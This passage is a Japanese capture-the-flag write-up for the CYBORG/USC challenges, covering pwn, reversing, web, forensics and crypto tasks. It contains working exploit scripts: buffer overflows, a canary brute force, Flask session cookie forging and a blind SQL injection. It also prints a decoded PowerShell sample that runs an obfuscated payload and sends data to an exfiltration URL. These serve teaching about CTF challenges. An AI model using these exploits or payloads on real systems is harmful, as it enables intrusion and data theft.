0020| 0xffffcf74 ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0xffffcf78 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0028| 0xffffcf7c ("AA4AAJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414641 in ?? ()
gdb-peda$ patto AFAA
AFAA found at offset: 44

$ ROPgadget --binary ./portal | grep ": ret"
0x0804900e : ret
0x0804918b : ret 0xe8c1
0x0804934b : retf
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('0.cloud.chals.io', 11723)
else:
    p = process('./portal')

elf = ELF('./portal')

ret_addr = 0x0804900e
win_addr = elf.symbols['win']

payload = b'A' * 44
payload += p32(ret_addr)
payload += p32(win_addr)

data = p.recvline().decode().rstrip()
print(data)
print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)
data = p.recvrepeat(1).decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to 0.cloud.chals.io on port 11723: Done
[*] '/mnt/hgfs/Shared/portal'
    Arch:       i386-32-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
Please enter your string:
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0e\x90\x04\x08\x08\x92\x04\x08'
Okay, time to return... Fingers Crossed... Jumping to 0x80492a7
CYBORG{w0w_u_r_0n_y0ur_w4y_2_b_a_r34l_h4x0r!
[*] Closed connection to 0.cloud.chals.io port 11723

最後の"}"がないので、"}"を付ける。

CYBORG{w0w_u_r_0n_y0ur_w4y_2_b_a_r34l_h4x0r!}

Reader (pwn)

$ checksec --file=reader
[*] '/mnt/hgfs/Shared/reader'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Ghidraでデコンパイルする。

void main(void)

{
  __pid_t _Var1;
  
  while( true ) {
    _Var1 = fork();
    if (_Var1 < 0) {
      perror("fork failed");
                    /* WARNING: Subroutine does not return */
      exit(1);
    }
    if (_Var1 == 0) break;
    wait((void *)0x0);
  }
  vuln();
                    /* WARNING: Subroutine does not return */
  exit(0);
}

void vuln(void)

{
  long in_FS_OFFSET;
  undefined local_58 [72];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Enter some data: ");
  fflush(stdout);
  read(0,local_58,0x80);
  puts("Your data was read. Did you get the flag?");
  fflush(stdout);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

void win(void)

{
  FILE *__stream;
  long in_FS_OFFSET;
  char local_48 [56];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  __stream = fopen("flag.txt","r");
  if (__stream == (FILE *)0x0) {
    printf("%s %s","Please create \'flag.txt\' in this directory with your","own debugging flag.\n")
    ;
    fflush(stdout);
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  fgets(local_48,0x32,__stream);
  puts(local_48);
  fflush(stdout);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

72バイトのあとにcanary値があると思われる。canary値を先頭からブルートフォースで探り、win関数を呼び出せばフラグが得られる。

$ ROPgadget --binary ./reader | grep ": ret"
0x000000000040101a : ret
0x00000000004012be : ret 0x8d48
#!/usr/bin/env python3
from pwn import *

p = remote('0.cloud.chals.io', 10677)

elf = ELF('./reader')

ret_addr = 0x40101a
win_addr = elf.symbols['win']

payload = b'A' * 72
for i in range(8):
    found = False
    for j in range(256):
        if j == 10:
            continue
        data = p.recvuntil(b': ').decode()
        print(data, end='')
        print(payload + bytes([j]))
        p.send(payload + bytes([j]))
        data = p.recvline().decode().rstrip()
        print(data)
        data = p.recv(3).decode()
        if data != '***':
            found = True
            payload += bytes([j])
            break
        else:
            data += p.recvline().decode().rstrip()
            print(data)
    if found == False:
        log.error('Failed to leak canary!')
        exit(1)

payload += p64(ret_addr)
payload += p64(win_addr)
data += p.recvuntil(b': ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)
data = p.recvrepeat(1).decode()
print(data)

実行結果は以下の通り。

        :
Enter some data: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x17\x96}\x0cL\xd9\xeb'
Your data was read. Did you get the flag?
*** stack smashing detected ***: terminated
Enter some data: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x17\x96}\x0cL\xd9\xec'
Your data was read. Did you get the flag?
*** stack smashing detected ***: terminated
Enter some data: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x17\x96}\x0cL\xd9\xed'
Your data was read. Did you get the flag?
*** stack smashing detected ***: terminated
Enter some data: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x17\x96}\x0cL\xd9\xee'
Your data was read. Did you get the flag?
*** stack smashing detected ***: terminated
Enter some data: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x17\x96}\x0cL\xd9\xef'
Your data was read. Did you get the flag?
Enter some data: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x17\x96}\x0cL\xd9\xef\x1a\x10@\x00\x00\x00\x00\x00v\x12@\x00\x00\x00\x00\x00'
Your data was read. Did you get the flag?
CYBORG{u_hulk_sm4sh3d_th4t_c4n4ry_l1k3_a_ch4mp!!!
Enter some data: 
[*] Closed connection to 0.cloud.chals.io port 10677

最後の"}"がないので、"}"を付ける。

CYBORG{u_hulk_sm4sh3d_th4t_c4n4ry_l1k3_a_ch4mp!!!}

trynewthings (rev)

Ghidraでデコンパイルする。

undefined8 main(int param_1,undefined8 *param_2)

{
  char *pcVar1;
  bool bVar2;
  undefined8 uVar3;
  undefined7 extraout_var;
  
  if (param_1 < 2) {
    fprintf(stderr,"usage: %s guess\n",*param_2);
    uVar3 = 1;
  }
  else {
    pcVar1 = (char *)param_2[1];
    bVar2 = check_flag(pcVar1);
    if ((int)CONCAT71(extraout_var,bVar2) == 0) {
      puts("Incorrect");
    }
    else {
      printf("Correct: %s\n",pcVar1);
    }
    uVar3 = 0;
  }
  return uVar3;
}

bool check_flag(char *param_1)

{
  undefined8 uVar1;
  size_t local_28;
  void *local_20;
  int local_14;
  size_t local_10;
  
  local_10 = strlen(param_1);
  encode((long)param_1,local_10,&local_20,&local_28);
  uVar1 = check_encoded_guess((long)local_20,local_28);
  local_14 = (int)uVar1;
  free(local_20);
  return local_14 == 0;
}

void encode(long param_1,size_t param_2,void **param_3,size_t *param_4)

{
  char cStack_25;
  undefined2 local_24;
  undefined local_22;
  void *local_20;
  size_t local_18;
  ulong local_10;
  
  local_18 = param_2;
  local_20 = malloc(param_2);
  local_24 = 0x67;
  local_22 = 0;
  for (local_10 = 0; local_10 < param_2; local_10 = local_10 + 1) {
    *(char *)(local_10 + (long)local_20) =
         *(char *)((long)&local_24 + (1 - local_10)) + *(char *)(local_10 + param_1) + -0x3c;
  }
  *param_3 = local_20;
  *param_4 = local_18;
  return;
}

undefined8 check_encoded_guess(long param_1,long param_2)

{
  undefined8 uVar1;
  ulong local_10;
  
  if (param_2 == 0x18) {
    for (local_10 = 0; local_10 < 0x18; local_10 = local_10 + 1) {
      if (*(char *)(local_10 + param_1) != (&DAT_00102004)[local_10]) {
        return 0xffffffff;
      }
    }
    uVar1 = 0;
  }
  else {
    uVar1 = 0xffffffff;
  }
  return uVar1;
}

                             DAT_00102004                                    XREF[2]:     check_encoded_guess:00101285(*), 
                                                                                          check_encoded_guess:00101293(*)  
        00102004 07              ??         07h
        00102005 84              ??         84h
        00102006 74              ??         74h    t
        00102007 7c              ??         7Ch    |
        00102008 88              ??         88h
        00102009 70              ??         70h    p
        0010200a a4              ??         A4h
        0010200b a4              ??         A4h
        0010200c 92              ??         92h
        0010200d a1              ??         A1h
        0010200e 97              ??         97h
        0010200f 9b              ??         9Bh
        00102010 a9              ??         A9h
        00102011 8e              ??         8Eh
        00102012 65              ??         65h    e
        00102013 af              ??         AFh
        00102014 9d              ??         9Dh
        00102015 98              ??         98h
        00102016 9c              ??         9Ch
        00102017 95              ??         95h
        00102018 8d              ??         8Dh
        00102019 a4              ??         A4h
        0010201a 8a              ??         8Ah
        0010201b ad              ??         ADh
        0010201c 00              ??         00h

encode関数があまり正確にデコンパイルできていないようなので、アセンブリを見てみる。

                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined __stdcall encode(long param_1, size_t param_2,
             undefined         AL:1           <RETURN>
             long              RDI:8          param_1
             size_t            RSI:8          param_2
             void * *          RDX:8          param_3
             size_t *          RCX:8          param_4
             undefined8        Stack[-0x10]:8 local_10                                XREF[6]:     001013e1(W), 
                                                                                                   001013ef(R), 
                                                                                                   00101400(R), 
                                                                                                   00101412(R), 
                                                                                                   0010141d(RW), 
                                                                                                   00101422(R)  
             undefined8        Stack[-0x18]:8 local_18                                XREF[2]:     00101368(W), 
                                                                                                   0010143b(R)  
             undefined8        Stack[-0x20]:8 local_20                                XREF[3]:     00101378(W), 
                                                                                                   0010140e(R), 
                                                                                                   00101430(R)  
             undefined1        Stack[-0x22]:1 local_22                                XREF[1]:     001013dd(W)  
             undefined2        Stack[-0x24]:2 local_24                                XREF[1]:     001013d7(W)  
             undefined4        Stack[-0x28]:4 local_28                                XREF[1]:     001013d0(W)  
             undefined8        Stack[-0x30]:8 local_30                                XREF[1]:     001013cc(W)  
             undefined8        Stack[-0x38]:8 local_38                                XREF[1]:     001013c8(W)  
             undefined8        Stack[-0x40]:8 local_40                                XREF[1]:     001013b0(W)  
             undefined8        Stack[-0x48]:8 local_48                                XREF[1]:     001013ac(W)  
             undefined8        Stack[-0x50]:8 local_50                                XREF[1]:     00101394(W)  
             undefined8        Stack[-0x58]:8 local_58                                XREF[1]:     00101390(W)  
             undefined8        Stack[-0x60]:8 local_60                                XREF[2]:     00101354(W), 
                                                                                                   001013eb(R)  
             undefined8        Stack[-0x68]:8 local_68                                XREF[4]:     00101358(W), 
                                                                                                   00101364(R), 
                                                                                                   0010136c(R), 
                                                                                                   00101426(R)  
             undefined8        Stack[-0x70]:8 local_70                                XREF[2]:     0010135c(W), 
                                                                                                   0010142c(R)  
             undefined8        Stack[-0x78]:8 local_78                                XREF[2]:     00101360(W), 
                                                                                                   00101437(R)  
                             encode                                          XREF[4]:     Entry Point(*), 
                                                                                          check_flag:0010121c(c), 0010208c, 
                                                                                          00102188(*)  
        00101348 f3 0f 1e fa     ENDBR64
        0010134c 55              PUSH       RBP
        0010134d 48 89 e5        MOV        RBP,RSP
        00101350 48 83 ec 70     SUB        RSP,0x70
        00101354 48 89 7d a8     MOV        qword ptr [RBP + local_60],param_1
        00101358 48 89 75 a0     MOV        qword ptr [RBP + local_68],param_2
        0010135c 48 89 55 98     MOV        qword ptr [RBP + local_70],param_3
        00101360 48 89 4d 90     MOV        qword ptr [RBP + local_78],param_4
        00101364 48 8b 45 a0     MOV        RAX,qword ptr [RBP + local_68]
        00101368 48 89 45 f0     MOV        qword ptr [RBP + local_18],RAX
        0010136c 48 8b 45 a0     MOV        RAX,qword ptr [RBP + local_68]
        00101370 48 89 c7        MOV        param_1,RAX
        00101373 e8 78 fd        CALL       <EXTERNAL>::malloc                               void * malloc(size_t __size)
                 ff ff
        00101378 48 89 45 e8     MOV        qword ptr [RBP + local_20],RAX
        0010137c 48 b8 6d        MOV        RAX,0x65697368676e696d
                 69 6e 67 
                 68 73 69 65
        00101386 48 ba 68        MOV        param_3,0x6d74726170656468
                 64 65 70 
                 61 72 74 6d
        00101390 48 89 45 b0     MOV        qword ptr [RBP + local_58],RAX
        00101394 48 89 55 b8     MOV        qword ptr [RBP + local_50],param_3
        00101398 48 b8 65        MOV        RAX,0x656c65666f746e65
                 6e 74 6f 
                 66 65 6c 65
        001013a2 48 ba 63        MOV        param_3,0x616c616369727463
                 74 72 69 
                 63 61 6c 61
        001013ac 48 89 45 c0     MOV        qword ptr [RBP + local_48],RAX
        001013b0 48 89 55 c8     MOV        qword ptr [RBP + local_40],param_3
        001013b4 48 b8 6e        MOV        RAX,0x7475706d6f63646e
                 64 63 6f 
                 6d 70 75 74
        001013be 48 ba 65        MOV        param_3,0x656e69676e657265
                 72 65 6e 
                 67 69 6e 65
        001013c8 48 89 45 d0     MOV        qword ptr [RBP + local_38],RAX
        001013cc 48 89 55 d8     MOV        qword ptr [RBP + local_30],param_3
        001013d0 c7 45 e0        MOV        dword ptr [RBP + local_28],0x6e697265
                 65 72 69 6e
        001013d7 66 c7 45        MOV        word ptr [RBP + local_24],0x67
                 e4 67 00
        001013dd c6 45 e6 00     MOV        byte ptr [RBP + local_22],0x0
        001013e1 48 c7 45        MOV        qword ptr [RBP + local_10],0x0
                 f8 00 00 
                 00 00
        001013e9 eb 37           JMP        LAB_00101422

encode関数では各アドレスに以下のように値を格納している。

・RBP + local_58: 0x65697368676e696d
・RBP + local_50: 0x6d74726170656468
・RBP + local_48: 0x656c65666f746e65
・RBP + local_40: 0x616c616369727463
・RBP + local_38: 0x7475706d6f63646e
・RBP + local_30: 0x656e69676e657265
・RBP + local_28: 0x6e697265
・RBP + local_24: 0x67

つまり、最初は0で、RBP + local_24から順にシフトしていき、以下のような処理になっている。

・out[0] = 0 + in[0] - 0x3c
・out[1] = 0x67 + in[1] - 0x3c
・out[2] = 0x6e + in[2] - 0x3c
・out[3] = 0x69 + in[3] - 0x3c
・out[4] = 0x72 + in[4] - 0x3c
・out[5] = 0x65 + in[5] - 0x3c
        :

check_encoded_guess関数ではDAT_00102004と一致しているかをチェックしている。このことを元に復号する。

#!/usr/bin/env python3
enc = [0x07, 0x84, 0x74, 0x7c, 0x88, 0x70, 0xa4, 0xa4, 0x92, 0xa1, 0x97, 0x9b,
    0xa9, 0x8e, 0x65, 0xaf, 0x9d, 0x98, 0x9c, 0x95, 0x8d, 0xa4, 0x8a, 0xad]

key = '00676e697265'
key += '656e69676e657265'
key += '7475706d6f63646e'
key += '616c616369727463'
key += '656c65666f746e65'
key += '6d74726170656468'
key += '65697368676e696d'

flag = ''
for i in range(len(enc)):
    flag += chr(enc[i] + 0x3c - int(key[i*2:i*2+2], 16))
print(flag)
CYBORG{reverse-viginere}

Tommy's Artventures (web)

以下のアカウント情報を作成し、ログインする。

Username: hoge
Password: fuga

クッキーのsessionを見ると以下のようになっている。

eyJ1c2VyIjoiaG9nZSJ9.ZyXYNw.EEKIzCDsrQgY9j2kMAbL1MIps5c

https://usc-tommyartventures.chals.io/curateにアクセスすると、以下のようなメッセージが表示される。

Error: must be 'admin' to curate artwork
$ flask-unsign --decode --cookie 'eyJ1c2VyIjoiaG9nZSJ9.ZyXYNw.EEKIzCDsrQgY9j2kMAbL1MIps5c'
{'user': 'hoge'}

secret keyが以下であるとわかっているので、これを使ってsignする。

4a6282bf78c344a089a2dc5d2ca93ae6
$ flask-unsign --sign --cookie "{'user': 'admin'}" --secret '4a6282bf78c344a089a2dc5d2ca93ae6'
eyJ1c2VyIjoiYWRtaW4ifQ.ZyXa5w.iZG6lCO2PPXKIYIIyUrwyn3CBlM

これをクッキーのsessionに設定し、https://usc-tommyartventures.chals.io/curateにアクセスすると、フラグが表示された。

CYBORG{oce4n5_auth3N71ca7i0N}

Spooky Query Leaks (web)

"admin"ユーザでログインできれば、フラグが表示される。
SQLインジェクションで、usersテーブルに(flagの先頭1バイト, 指定のパスワード)をinsertする。ログインを試行して、ブルートフォースでflagの先頭1バイトを見つける。
同様に2バイト目以降も実行して、フラグを割り出す。

#!/usr/bin/env python3
import requests

from werkzeug.security import generate_password_hash

password = 'pass'
pw_hash = generate_password_hash(password)

base_url = 'https://usc-spookyql.chals.io/0b064a9b-c899-46ff-ab30-22c9e9b10b0c/'

flag = ''
i = len(flag) + 1
while True:
    url = base_url + 'register'
    payload = {"username": str(i) + "', 'a'), ((select substring(flag, 1, " + str(i) + ") from flags), '" + pw_hash + "') --", "password": "a"}
    r = requests.post(url, data=payload)

    url = base_url + 'login'
    for code in range(32, 127):
        try_flag = flag + chr(code)
        print('[+] try_flag:', try_flag)
        payload = {"username": try_flag, "password": password}
        r = requests.post(url, data=payload)
        if r.text != 'Invalid credentials.':
            flag += chr(code)
            i += 1
            break

    if flag[-1] == '}':
        break

print('[*] flag:', flag)

実行結果は以下の通り。

        :
[+] try_flag: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!t
[+] try_flag: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!u
[+] try_flag: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!v
[+] try_flag: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!w
[+] try_flag: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!x
[+] try_flag: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!y
[+] try_flag: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!z
[+] try_flag: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!{
[+] try_flag: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!|
[+] try_flag: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!}
[*] flag: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!}
CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!}

think_twice (forensics)

EXIF情報を見てみる。

$ exiftool metadata.png                                                                   
ExifTool Version Number         : 12.76
File Name                       : metadata.png
Directory                       : .
File Size                       : 400 kB
File Modification Date/Time     : 2024:11:02 13:10:07+09:00
File Access Date/Time           : 2024:11:02 13:10:22+09:00
File Inode Change Date/Time     : 2024:11:02 13:10:07+09:00
File Permissions                : -rwxrwxrwx
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
Exif Byte Order                 : Big-endian (Motorola, MM)
Orientation                     : Horizontal (normal)
X Resolution                    : 144
Y Resolution                    : 144
Resolution Unit                 : inches
Software                        : UTNsaU1ISm5lMDFqUTJGeWRHaDVmU0E9
User Comment                    : Screenshot
Exif Image Width                : 1014
Exif Image Height               : 1162
Profile CMM Type                : Apple Computer Inc.
Profile Version                 : 2.1.0
Profile Class                   : Display Device Profile
Color Space Data                : RGB
        :
        :

Softwareにbase64文字列らしきものが設定されている。

$ echo UTNsaU1ISm5lMDFqUTJGeWRHaDVmU0E9 | base64 -d                                       
Q3liMHJne01jQ2FydGh5fSA=                                                                                                                   
$ echo UTNsaU1ISm5lMDFqUTJGeWRHaDVmU0E9 | base64 -d | base64 -d
Cyb0rg{McCarthy}
Cyb0rg{McCarthy}

pineapple (forensics)

httpでフィルタリングする。No.1475パケットで、以下の情報をPOSTしていることがわかる。

Form item: "username" = "jbarker"
Form item: "filename" = "hoolicon"
Form item: "filepw" = "conjoined_TRIANGLES"

またNo.1826パケットでhoolicon.7zというファイル名の7-zipファイルをPOSTしていることがわかるので、エクスポートする。
先ほどのパスワード "conjoined_TRIANGLES" で解凍すると、flagimg.pngが展開され、その画像にフラグが書いてあった。

CYBORG{pe4cefaRe_4x09}

Computer Has Virus (forensics)

emlファイルのbase64部分を抽出し、base64デコードし、antivirus.exeを生成する。

#!/usr/bin/env python3
from base64 import *

with open('URGENT.eml', 'r') as f:
    lines = f.read().splitlines()

b64 = ''.join(lines[84:552])
exe = b64decode(b64)

with open('antivirus.exe', 'wb') as f:
    f.write(exe)
$ file antivirus.exe 
antivirus.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

.Net製なので、dnSpyでデコンパイルする。Resourceのtest.ps1には以下のように書いてある。

$compressed = 'H4sIAAAAAAAA/1TNQWvyQBDG8Xs+xRgCrx4SFW+B8EJFtIcSMA1SSglxHZOlyW66+6xtEL97iVhpr8P8n19wbMqKEvKXLw/pdn3OFsKZOfoCtZm5qi7Svb1d5rZQMxSnhekLO7wtRhffC1gJSug16y24jXa8jzZAl0M2Ev1bHOemWSmhDzy+WhPyApSmYuSmGeAa6OLp1FkhcOSvo2xgSkitIqHb6f3A/4c6GTifPJiezh4RUWDYdlpZpoQe1Um/c7jj/ZY/HFtQmBtJv7zwiVHrA61Xz9d6ZyQ4TB06B/J/pmIKxvfdKEMJZ5f6wBOfvAuJEqK+6X/7fEPpZkSZbhm1VNU/S59Gq2o0dN53AAAA//+hRs8SawEAAA=='; $bytes = [System.Convert]::FromBase64String($compressed); $stream = New-Object IO.MemoryStream(, $bytes); $decompressed = New-Object IO.Compression.GzipStream($stream, [IO.Compression.CompressionMode]::Decompress); $reader = New-Object IO.StreamReader($decompressed); $obfuscated = $reader.ReadToEnd(); Invoke-Expression $obfuscated

改行を入れて読みやすくする。

$compressed = 'H4sIAAAAAAAA/1TNQWvyQBDG8Xs+xRgCrx4SFW+B8EJFtIcSMA1SSglxHZOlyW66+6xtEL97iVhpr8P8n19wbMqKEvKXLw/pdn3OFsKZOfoCtZm5qi7Svb1d5rZQMxSnhekLO7wtRhffC1gJSug16y24jXa8jzZAl0M2Ev1bHOemWSmhDzy+WhPyApSmYuSmGeAa6OLp1FkhcOSvo2xgSkitIqHb6f3A/4c6GTifPJiezh4RUWDYdlpZpoQe1Um/c7jj/ZY/HFtQmBtJv7zwiVHrA61Xz9d6ZyQ4TB06B/J/pmIKxvfdKEMJZ5f6wBOfvAuJEqK+6X/7fEPpZkSZbhm1VNU/S59Gq2o0dN53AAAA//+hRs8SawEAAA=='; 
$bytes = [System.Convert]::FromBase64String($compressed); 
$stream = New-Object IO.MemoryStream(, $bytes); 
$decompressed = New-Object IO.Compression.GzipStream($stream, [IO.Compression.CompressionMode]::Decompress); 
$reader = New-Object IO.StreamReader($decompressed); 
$obfuscated = $reader.ReadToEnd(); Invoke-Expression $obfuscated

base64文字列部分をデコードすると、gzファイルになるので、解凍・展開する。

#!/usr/bin/env python3
from base64 import *
import gzip

compressed = 'H4sIAAAAAAAA/1TNQWvyQBDG8Xs+xRgCrx4SFW+B8EJFtIcSMA1SSglxHZOlyW66+6xtEL97iVhpr8P8n19wbMqKEvKXLw/pdn3OFsKZOfoCtZm5qi7Svb1d5rZQMxSnhekLO7wtRhffC1gJSug16y24jXa8jzZAl0M2Ev1bHOemWSmhDzy+WhPyApSmYuSmGeAa6OLp1FkhcOSvo2xgSkitIqHb6f3A/4c6GTifPJiezh4RUWDYdlpZpoQe1Um/c7jj/ZY/HFtQmBtJv7zwiVHrA61Xz9d6ZyQ4TB06B/J/pmIKxvfdKEMJZ5f6wBOfvAuJEqK+6X/7fEPpZkSZbhm1VNU/S59Gq2o0dN53AAAA//+hRs8SawEAAA=='; 
stream = b64decode(compressed)

with open('flag.gz', 'wb') as f:
    f.write(stream)

with gzip.open('flag.gz', 'rb') as gf:
    content = gf.read().decode()
    print(content)

実行結果は以下の通り。

$flag = "CYBORG{S3cur1ty_thr0ugh_Obscur1ty_1s_n0t_v3ry_s3cur3!}"
$enc = [System.Web.HttpUtility]::UrlEncode($flag)
$targetUrl = "http://uscctfexfiltration.com/exfiltrate?flag=$enc"
try {
    $response = Invoke-WebRequest -Uri $targetUrl -Method GET
    Write-Output "response: $($response.StatusCode)"
} catch {
    Write-Output "UH OH! Something's wrong!"
}
CYBORG{S3cur1ty_thr0ugh_Obscur1ty_1s_n0t_v3ry_s3cur3!}

decipherium (crypto)

元素記号を表していると推測する。以下のように原子番号に置き換える。

・Cd: 48
・In: 49
・Sn: 50
・Sb: 51
・Te: 52
・I : 53
・Xe: 54
・Cs: 55
・Ba: 56
・La: 57
・Dy: 66
・Ho: 67
・Er: 68
・Yb: 70
・Fm: 100
・Md: 101
・No: 102

16進数文字列になるので、hexデコードすればフラグになる。

#!/usr/bin/env python3
from string import *
with open('message.txt', 'r') as f:
    data = f.read().rstrip()

symbols = []
for i in range(len(data)):
    if data[i] in ascii_uppercase:
        symbols.append(data[i])
    else:
        symbols[-1] = symbols[-1] + data[i]

atomic_number = {'Cd': 48, 'In': 49, 'Sn': 50, 'Sb': 51, 'Te': 52, 'I': 53,
    'Xe': 54, 'Cs': 55, 'Ba': 56, 'La': 57, 'Dy': 66, 'Ho': 67, 'Er': 68,
    'Yb': 70, 'Fm': 100, 'Md': 101, 'No': 102}

msg = ''
for symbol in symbols:
    msg += chr(atomic_number[symbol])

flag = bytes.fromhex(msg).decode()
print(flag)
CYBORG{PERI0DIC_C1PH3R_0F_3LEMENT5}

unpopcorn (crypto)

暗号化処理の概要は以下の通り。

・m = 57983
・p: 未知の数値
・flag: フラグ
・msg = churn(butter(pop(flag)))
 ・popは各文字のASCIIコードと42とのXORした数値配列
 ・butterは各数値にpを掛けmで割った余りの数値配列
 ・churnは各数値を3ビット左シフトしたものの16進数文字列の16個目以降と先頭16個目を並べたもの
・msgをmessage.txtに書き込み

pが不明なので、フラグが"CYBORG{"から始まることを前提にpを割り出す。あとは逆算して元に戻す。

#!/usr/bin/env python3
from Crypto.Util.number import *

m = 57983

with open('message.txt', 'r') as f:
    ct = f.read().split(' ')

ct = ct[-16:] + ct[:-16]
ct = [int(c, 16) >> 3 for c in ct]

flag_head = 'CYBORG{'
p = ct[0] * inverse(ord(flag_head[0]) ^ 42, m) % m

for i in range(len(flag_head)):
    assert (ord(flag_head[i]) ^ 42) * p % m == ct[i]

flag = ''
for i in range(len(ct)):
    x = ct[i] * inverse(p, m) % m
    flag += chr(x ^ 42)
print(flag)
CYBORG{R1Ch_BUTT3RY_SUSTENANC3}

D' Lo (crypto)

秘密鍵の下位240ビットがわかっているので、Partial Key Exposure Attackでnを素因数分解し復号する。

#!/usr/bin/env sage
from Crypto.Util.number import *

def partial_p(p0, kbits, n):
    PR.<x> = PolynomialRing(Zmod(n))
    nbits = n.nbits()

    f = 2^kbits * x + p0
    f = f.monic()
    roots = f.small_roots(X=2^(nbits // 2 - kbits), beta=0.3)
    if roots:
        x0 = roots[0]
        p = gcd(2^kbits * x0 + p0, n)
        return ZZ(p)

def find_p(d0, kbits, e, n):
    X = var('X')

    for k in range(1, e + 1):
        results = solve_mod([e * d0 * X - k * X * (n - X + 1) + k * n == X],
            2^kbits)
        for x in results:
            p0 = ZZ(x[0])
            p = partial_p(p0, kbits, n)
            if p:
                return p

e = 7
n = 9537465719795794225039144316914692273057528543708841063782449957642336689023241057406145879616743252508032700675419312420008008674130918587435719504215151
c = 4845609252254934006909399633004175203346101095936020726816640779203362698009821013527198357879072429290619840028341235069145901864359947818105838016519415
d_low = 'b9b24053029f5f424adc9278c750b42b0b2a134b0a52f13676e94c01ef77'

kbits = len(d_low) * 4
d0 = int(d_low, 16)

p = find_p(d0, kbits, e, n)
q = n // p
assert p * q == n

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(int(m)).decode()
print(flag)
CYBORG{H0w_w3ll_d0_y0u_th1nk_d'lo_w1ll_d0_7h15_53ason??}

Survey (feedback)

アンケートに答えたら、フラグが表示された。

CYBORG{usc_ctf_feedback_submitted}